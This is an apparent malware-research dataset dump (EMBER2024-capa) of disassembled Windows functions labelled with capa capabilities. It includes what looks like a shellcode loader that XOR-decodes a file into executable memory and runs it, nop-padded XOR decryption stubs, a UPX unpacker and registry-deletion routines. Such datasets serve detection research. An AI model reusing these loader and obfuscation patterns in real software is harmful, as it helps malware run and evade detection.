joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430338
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4304f3
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x10]
mov edx, 0x1b
mov al, 0x2d
call fcn.00405450
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 4]
mov ecx, 0x43050c
call fcn.00404fb0
mov eax, ebx
call fcn.0041b354
mov edi, eax
dec edi
test edi, edi
jl 0x4303f0
inc edi
xor esi, esi
mov edx, esi
mov eax, ebx
call fcn.0041b328
mov edx, dword [0x42a3ec]
call fcn.00404000
test al, al
je 0x4303ec
push dword [ebp - 8]
mov edx, esi
mov eax, ebx
call fcn.0041b328
lea edx, [ebp - 0x14]
call fcn.0043e8a4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov edx, 3
mov al, 0x20
call fcn.00405450
push dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00405024
inc esi
dec edi
jne 0x43039e
movzx eax, byte [0x430510]
push eax
lea eax, [ebp - 0x1c]
push eax
xor ecx, ecx
mov edx, 0x43051c
mov eax, dword [ebp - 8]
call fcn.0040d818
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 8]
call fcn.00404d38
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x68], 0xb
lea edx, [ebp - 0x70]
mov eax, ebx
call fcn.0043e8a4
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x60], 0xb
mov eax, 0x43050c
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x58], 0xb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x50], 0xb
lea edx, [ebp - 0x74]
mov eax, dword [ebx + 0x360]
call fcn.0043e8a4
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x48], 0xb
mov eax, 0x43050c
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x40], 0xb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
mov eax, 0x43050c
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
lea edx, [ebp - 0x6c]
mov ecx, 9
mov eax, 0x430528
call fcn.00409b3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4304fa
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00404cc4
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404cc4
lea eax, [ebp - 0x14]
call fcn.00404ca0
lea eax, [ebp - 0x10]
call fcn.00404ca0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404cc4
ret
Function at 0x401434
Capabilities:
Copy file
Create shortcut via ishelllink
Delete file
Delete registry value
Enumerate files on windows
Get file attributes
Move file
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Read .ini file
Read file on windows
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [0x42a268]
push 7
pop ecx
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x34]
mov esi, section..ndata
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
xor ebx, ebx
shl ecx, 0xb
add ecx, esi
mov edi, eax
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 0x30]
shl edi, 0xb
mov dword [0x40ce54], ecx
lea ecx, [edx - 2]
add edi, esi
cmp ecx, 0x43
mov dword [ebp - 4], ebx
ja case.0x40148a.66
jmp dword [ecx*4 + 0x402c3c]
push ebx
push eax
call fcn.004056ca
jmp 0x40239d
inc dword [0x42922c]
cmp dword [ebp - 8], ebx
je 0x40239d
push ebx
call dword [sym.imp.USER32.dll_PostQuitMessage]
jmp 0x40239d
push eax
call fcn.0040136d
dec eax
push ebx
push eax
invalid

Function at 0x4024b7
Capabilities:
Set registry value

Disassembly:
ret

Function at 0x402822
Capabilities:
Read file on windows

Disassembly:
ret

Function at 0x402ea9
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, esi
lea eax, [ebp - 4]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or al, 9
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004064d5
xor ebx, ebx
cmp eax, ebx
jne 0x402f8c
test byte [ebp + 0x10], 2
je 0x402f0a
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x402f71
lea eax, [ebp - 0x214]
push 0x105
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x402f46
test edi, edi
jne 0x402f71
push dword [ebp + 0x10]
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 4]
call fcn.00402ea9
test eax, eax
jne 0x402f4f
lea eax, [ebp - 0x214]
push 0x105
push eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x402f1f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00406a35
test eax, eax
jne 0x402f81
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x402f8c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x402f8c
push 0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x403371
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x40339c
mov ecx, dword [0x42a2b8]
push esi
add eax, ecx
push esi
push eax
mov dword [0x420ef4], eax
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.00403479
cmp eax, esi
jl 0x403473
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.004061db
test eax, eax
je 0x403463
push dword [ebp + 8]
add dword [0x420ef4], 4
call fcn.00403479
mov ebx, eax
cmp ebx, esi
jl 0x403471
cmp dword [ebp + 0x10], esi
jne 0x40343f
cmp dword [ebp + 8], esi
jle 0x403471
mov esi, 0x414ef0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x403401
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.004061db
test eax, eax
je 0x403463
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.0040620a
test eax, eax
je 0x40343b
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x420ef4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4033f0
jmp 0x403471
push 0xfffffffffffffffe
jmp 0x403465
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x40344a
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403468
push 0xfffffffffffffffd
pop eax
jmp 0x403473
mov ebx, dword [ebp - 4]
add dword [0x420ef4], ebx
invalid

Function at 0x403640
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push ebx
push esi
push edi
push 0x20
pop edi
xor ebx, ebx
push 0x8001
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], str.Error_writing_temporary_file._Make_sure_your_temp_folder_is_valid.
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x140]
push eax
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x140], 0x11c
call esi
test eax, eax
jne 0x4036ca
lea eax, [ebp - 0x140]
mov dword [ebp - 0x140], 0x114
push eax
call esi
mov ax, word [ebp - 0x12c]
mov ecx, dword [ebp - 0x112]
sub ax, 0x53
add ecx, 0xffffffd0
neg ax
sbb eax, eax
mov byte [ebp - 0x26], 4
not eax
and eax, ecx
mov word [ebp - 0x2c], ax
cmp dword [ebp - 0x13c], 0xa
jae 0x4036db
and word [ebp - 0x132], 0
mov eax, dword [ebp - 0x134]
movzx ecx, byte [ebp - 0x138]
mov dword [0x42a318], eax
xor eax, eax
mov ah, byte [ebp - 0x13c]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte [ebp - 0x2c]
movzx ecx, cx
shl eax, 0x10
or eax, ecx
movzx ecx, byte [ebp - 0x26]
or eax, ecx
mov dword [0x42a31c], eax
cmp word [0x42a31e], 0x600
je 0x40372e
push ebx
call fcn.00406a35
invalid

Function at 0x403724
Capabilities:
Encode data using xor

Disassembly:
ret
Function at 0x4066a5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
test eax, eax
jge 0x4066c3
mov ecx, dword [0x42923c]
lea eax, [eax*4 + 4]
sub ecx, eax
mov eax, dword [ecx]
mov ecx, dword [0x42a298]
push ebx
push esi
push edi
lea edi, [ecx + eax*2]
mov eax, 0x428200
cmp dword [ebp + 8], eax
mov esi, eax
jb 0x4066f1
mov ecx, dword [ebp + 8]
sub ecx, eax
sar ecx, 1
cmp ecx, 0x800
jae 0x4066f1
mov esi, dword [ebp + 8]
and dword [ebp + 8], 0
mov cx, word [edi]
test cx, cx
mov dword [ebp + 0xc], ecx
je 0x4068d5
jmp 0x406705
mov ecx, dword [ebp + 0xc]
mov edx, esi
sub edx, eax
and edx, 0xfffffffe
cmp edx, 0x800
jge 0x4068d5
push 2
pop edx
add edi, edx
cmp cx, 4
jae 0x4068b3
mov cl, byte [edi + 1]
mov al, byte [edi]
mov dl, cl
mov bl, al
and edx, 0x7f
and ebx, 0x7f
shl edx, 7
movzx eax, al
or edx, ebx
mov ebx, eax
mov dword [ebp - 8], edx
mov edx, 0x8000
or ebx, edx
push 2
movzx ecx, cl
mov dword [ebp - 0x18], ebx
pop ebx
mov dword [ebp - 0xc], ecx
or ecx, edx
add edi, ebx
cmp word [ebp + 0xc], bx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
jne 0x406857
cmp dword [0x42a2e4], 0
je 0x406776
push 4
pop ebx
test al, al
jns 0x4067b5
mov ecx, eax
and eax, 0x3f
and ecx, 0x40
push ecx
mov ecx, dword [0x42a298]
push esi
lea eax, [ecx + eax*2]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call fcn.00406536
cmp word [esi], 0
jne 0x40683e
push dword [ebp - 0xc]
push esi
call fcn.004066a5
jmp 0x406838
cmp eax, 0x25
jne 0x4067c8
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x406838
cmp eax, 0x24
jne 0x406834
push 0x400
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor ebx, ebx
jmp 0x406834
mov eax, dword [0x42a264]
dec ebx
test eax, eax
je 0x4067fc
push esi
push 0
push 0
push dword [ebp + ebx*4 - 0x18]
push dword [0x42a268]
call eax
test eax, eax
je 0x406838
lea eax, [ebp - 4]
push eax
push dword [ebp + ebx*4 - 0x18]
push dword [0x42a268]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x406830
push esi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 4]
mov dword [ebp + 0xc], eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp + 0xc], 0
jne 0x406838
and word [esi], 0
test ebx, ebx
jne 0x4067dd
cmp word [esi], 0
je 0x40684f
cmp dword [ebp - 0xc], 0x1a
jne 0x40684f
push str.MicrosoftInternet_ExplorerQuick_Launch
push esi
call sub.KERNEL32.dll_lstrcatW
push esi
call fcn.004068ef
jmp 0x4068a3
cmp word [ebp + 0xc], 3
jne 0x40688f
mov ebx, dword [ebp - 8]
cmp ebx, 0x1d
jne 0x406874
push dword [0x42a268]
push esi
call fcn.004065af
jmp 0x406885
invalid

Function at 0x406875
Capabilities:
Get common file path

Disassembly:
ret
Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x431030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x4e615422
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x2cd217bd
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10001090
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xf3cd4
call fcn.10012490
mov eax, dword [0x10029b40]
xor eax, esp
mov dword [esp + 0xf3cd0], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push edi
push 0
push 0
push 0
push 0
mov esi, ecx
call ebx
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push edi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jbe 0x1000110f
xor byte [esp + eax + 0x14], 0x7b
inc eax
cmp eax, esi
jb 0x10001105
push 0x40
push 0x3000
push 0xf3cc8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xf3cc8
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call fcn.1000ec90
add esp, 0xc
call dword [0x1002d8bc]
push 0
push 0
push 1
push 0
mov edi, eax
call ebx
push 0
push 0
push 0x64
push 0
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x28]
push eax
call dword [0x1002d8c0]
test eax, eax
je 0x10001186
push 0xffffffffffffffff
push ebx
call dword [0x1002d8b8]
test eax, eax
je 0x10001186
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.1000f133
add esp, 8
mov ecx, dword [esp + 0xf3cdc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000eb13
add esp, 0xf3cd4
ret

Function at 0x100011a0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x10029b40]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push 0x23
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
test eax, eax
je 0x100011e4
push ebx
push 0x100248bb
jmp 0x100011ff
lea eax, [esp + 8]
lea edx, [eax + 1]
jmp 0x100011f0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100011f0
sub eax, edx
push eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.100015d0
mov ecx, dword [esp + 0x10c]
pop ebx
xor ecx, esp
mov eax, esi
call fcn.1000eb13
add esp, 0x10c
ret
Function at 0x10001220
Capabilities:
Copy file

Disassembly:
push 0xffffffffffffffff
push 0x1001fbf1
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x10029b40]
xor eax, esp
mov dword [esp + 0x164], eax
push ebx
push esi
push edi
mov eax, dword [0x10029b40]
xor eax, esp
push eax
lea eax, [esp + 0x178]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x74]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
cmp eax, ebx
jle 0x10001291
mov cl, 0x5c
nop
cmp byte [esp + eax + 0x70], cl
je 0x1000128d
dec eax
cmp eax, ebx
jg 0x10001280
jmp 0x10001291
mov byte [esp + eax + 0x71], bl
mov al, 0x74
lea edx, [esp + 0x64]
mov byte [esp + 0x69], al
mov byte [esp + 0x6b], al
push edx
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x6c], 0x61
mov byte [esp + 0x6d], 0x64
mov byte [esp + 0x6e], 0x6d
mov byte [esp + 0x6f], 0x65
mov byte [esp + 0x70], 0x2e
mov byte [esp + 0x72], 0x78
mov byte [esp + 0x74], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [esp + 0x10]
call fcn.100011a0
push eax
mov edi, 0x10024950
lea esi, [esp + 0x30]
mov dword [esp + 0x184], ebx
call fcn.10001910
push eax
lea edi, [esp + 0x6c]
lea esi, [esp + 0x50]
mov byte [esp + 0x188], 1
call fcn.10001910
add esp, 8
mov esi, 0x10
cmp dword [esp + 0x44], esi
jb 0x1000131d
mov ecx, dword [esp + 0x30]
push ecx
call fcn.10001d3d
add esp, 4
mov edi, 0xf
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov byte [esp + 0x180], 4
cmp dword [esp + 0x28], esi
jb 0x10001349
mov edx, dword [esp + 0x14]
push edx
call fcn.10001d3d
add esp, 4
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
cmp dword [esp + 0x60], esi
jae 0x10001363
lea eax, [esp + 0x4c]
push ebx
push eax
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x70]
call fcn.10001090
cmp dword [esp + 0x60], esi
jb 0x1000138c
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.10001d3d
add esp, 4
mov ecx, dword [esp + 0x178]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.1000eb13
add esp, 0x174
ret

Function at 0x1000eb13
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10029b40]
jne 0x1000eb1d
repz ret
jmp fcn.10012a3a
Function at 0x1001a674
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10012f38
and dword [ebp - 4], 0
cmp dword [0x1002d844], 0
mov ebx, eax
jne 0x1001a725
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001a7d6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10023e90
push edi
call esi
test eax, eax
je 0x1001a7d6
push eax
call fcn.10012ec6
mov dword [esp], 0x10023e80
push edi
mov dword [0x1002d844], eax
call esi
push eax
call fcn.10012ec6
mov dword [esp], 0x10023e6c
push edi
mov dword [0x1002d848], eax
call esi
push eax
call fcn.10012ec6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1002d84c], eax
call esi
push eax
call fcn.10012ec6
pop ecx
mov dword [0x1002d854], eax
test eax, eax
je 0x1001a725
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10012ec6
pop ecx
mov dword [0x1002d850], eax
mov eax, dword [0x1002d850]
cmp eax, ebx
je 0x1001a77d
cmp dword [0x1002d854], ebx
je 0x1001a77d
push eax
call fcn.10012f41
push dword [0x1002d854]
mov esi, eax
call fcn.10012f41
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1001a77d
test edi, edi
je 0x1001a77d
call esi
test eax, eax
je 0x1001a774
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1001a774
test byte [ebp - 0xc], 1
jne 0x1001a77d
or dword [ebp + 0x10], 0x200000
jmp 0x1001a7b6
mov eax, dword [0x1002d848]
cmp eax, ebx
je 0x1001a7b6
push eax
call fcn.10012f41
pop ecx
test eax, eax
je 0x1001a7b6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001a7b6
mov eax, dword [0x1002d84c]
cmp eax, ebx
je 0x1001a7b6
push eax
call fcn.10012f41
pop ecx
test eax, eax
je 0x1001a7b6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1002d844]
call fcn.10012f41
pop ecx
test eax, eax
je 0x1001a7d6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001a7d8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret